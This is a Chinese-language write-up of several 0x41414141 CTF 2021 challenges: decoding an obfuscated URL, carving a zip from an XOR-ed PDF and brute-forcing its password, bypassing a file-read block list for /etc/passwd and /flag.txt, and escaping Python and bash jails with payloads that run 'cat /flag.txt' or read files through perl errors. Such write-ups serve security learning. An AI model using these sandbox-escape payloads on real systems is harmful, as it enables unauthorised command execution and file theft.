0x41414141 CTF 2021

Web

0x414141

根据题目描述定向到 GitHub Repo 可以获取到一个 .pyc 文件。将其使用 反编译可得如下代码。

import base64

secret = 'https://google.com'

cipher2 = [b'NDE=', b'NTM=', b'NTM=', b'NDk=', b'NTA=', b'MTIz', b'MTEw', b'MTEw', b'MzI=', b'NTE=', b'MzQ=', b'NDE=', b'NDA=', b'NTU=', b'MzY=', b'MTEx', b'NDA=', b'NTA=', b'MTEw', b'NDY=', 

b'MTI=', b'NDU=', b'MTE2', b'MTIw']

cipher1 = [base64.b64encode(str(ord(i) ^ 65).encode()) for i in secret]

将 cipher2 按照相同的方法解密出来。

text2 = [chr(int(base64.b64decode(i).decode()) ^ 65) for i in cipher2]

print("".join(text2))

得到了一个网址 https://archive.is/oMl59。定向到这个网址可以发现如下信息。

下载文件得到 smashing.pdf,使用 010 editor 打开文件后可以发现很多 0x41 的字节,猜测是文件被按位异或过。尝试将其复原可以得到原本的 pdf 文件。binwalk 一下 pdf 文件可以发现其中包含一个含有 flag.txt 的压缩文件。

binwalk -e 将压缩包分离出来后发现解压需要密码,因为没有发现其他信息,故尝试一波爆破。使用 GitHub 上的一万常用密码密码表可以爆破得出压缩包密码为 passwd。

解压压缩包可得 flag。

flag{1t_b33n_A_l0ng_w@y8742}

使用 CyberChef 分离文件

看了大佬的 WriteUp 发现使用 CyberChef 的 Extract Files 功能也可以分离出文件。

file_reader

附件给出的代码如下。

import glob

blocked = ["/etc/passwd", "/flag.txt", "/proc/"]

def read_file(file_path):
    for i in blocked:
        if i in file_path:
                return "you aren't allowed to read that file"

    try:
        path = glob.glob(file_path)[0]
    except:
        return "file doesn't exist"

    return open(path, "r").read()

user_input = input("> ")
print(read_file(user_input))

稍加分析可知题意是要我们绕过过滤读到 flag.txt。使用 /flag.??? 即可成功绕过读到 flag。

flag{oof_1t_g0t_expanded_93929}

pyjail

附件给出的代码如下。

#!/usr/bin/env python3
import re
from sys import modules, version

banned = "import|chr|os|sys|system|builtin|exec|eval|subprocess|pty|popen|read|get_data"
search_func = lambda word: re.compile(r"\b({0})\b".format(word), flags=re.IGNORECASE).search

modules.clear()
del modules

def main():
    print(f"{version}\n")
    print("What would you like to say?")
    for _ in range(2):
        text = input('>>> ').lower()
        check = search_func(banned)(''.join(text.split("__")))
        if check:
            print(f"Nope, we ain't letting you use {check.group(0)}!")
            break
        if re.match("^(_?[A-Za-z0-9])*[A-Za-z](_?[A-Za-z0-9])*$", text):
            print("You aren't getting through that easily, come on.")
            break
        else:
            exec(text, {'globals': globals(), '__builtins__': {}}, {'print':print})

if __name__ == "__main__":
    main()

可以得出除了过滤了一些常用的 token 之外用了一个很奇怪的正则,基本上匹配的是下划线开头的内容,但是要以下划线开头,所以 print((globals['__builtins__'])) 还是没有问题。因为有 globals(),所以尝试将其打印出来,发现了 '__builtins__': <module 'builtins' (built-in)>。也就是他表面上把 builtins 禁用了,实际上还是可以访问到。

既然最后要读到 /flag,那肯定是需要 system("cat /flag") 的操作,所以需要引入 os 模块。这里的 __import__ 被禁用了,因此可以尝试采用 getattr() 来构造。先尝试导出一下 __import__

可以看到使用 getattr 可以成功地导出。接下来一步步导出到 system 函数。

(globals['__builtins__']).getattr((globals['__builtins__']),('__impor' + 't__'))('o' + 's') #导出到 __import__.os

(globals['__builtins__']).getattr(((globals['__builtins__']).getattr((globals['__builtins__']),('__impor' + 't__'))('o' + 's')),('syste' + 'm')) #导出到函数 system

接下来就能执行 shell 了,构造出如下 payload 即可读到 flag。

(globals['__builtins__']).getattr(((globals['__builtins__']).getattr((globals['__builtins__']),('__impor' + 't__'))('o' + 's')),('syste' + 'm'))('cat /flag.txt')
flag{l3t's_try_sc0p1ng_th1s_0ne_2390098}

在大佬的文章里看到了一种很妙的解法,是通过全局变量覆盖来实现的。

globals['banned'] = 'a'
globals['__builtins__'].__import__('os').system('cat /f*')

shjail

附件给出的代码如下。

#!/bin/bash

RED='\e[0;31m'
END='\e[0m'
GREEN='\e[0;32m'

while :
do
    echo "What would you like to say?"
    read USER_INP
           if [[ "$USER_INP" =~ ['&''$''`''>''<''/''*''?'txcsbqi] ]]; then
                   echo -e "${RED}Hmmmm, what are you trying to do?${END}"
           else
                   OUTPUT=$($USER_INP) &>/dev/null
                   echo -e "${GREEN}The command has been executed. Let's go again!${END}"
           fi
done

可以发现禁用的单字符有 `&$>\</*?txcsbqi,剩余的单字符有 adefghjklmnopruvwyz。同时只有在指令报错的时候才能有输出。因此要想办法用报错的程序来带出文件。

看了 WriteUp 之后知道这里可以使用 perl 来带出文件,同时因为 txt 中的 t 字符被禁用了,因此需要使用 bash 的正则表达式。可以尝试使用 open 指令来确定文件是否存在从而确定 flag 的位置。因为这题禁用了 /,所以 flag 应该不在根目录。然而在 bash 的正则中 [a-z]{3} 表示三个连续的前一个 RE 字符,而并不是一般正则的匹配三次。因此需要尝试 open flag.[a-z][a-z][a-z] 来匹配 flag.txt,可以发现指令成功执行且没有报错,对比其他的执行可知此时 flag 位于当前目录下且可能名为 flag.txt。因此最后的 paylaod 可以是 perl flag.[a-z][a-z][a-z],当然,写作 perl [a-z][a-z][a-z][a-z].[a-z][a-z][a-z] 也是相同的效果。最后使用这个指令可以在程序的报错中看到 flag。

flag{w3ll_th1s_f1l3_sh0uldnt_h4v3_fl4g_1n_2738372131}

results matching ""

    No results matching ""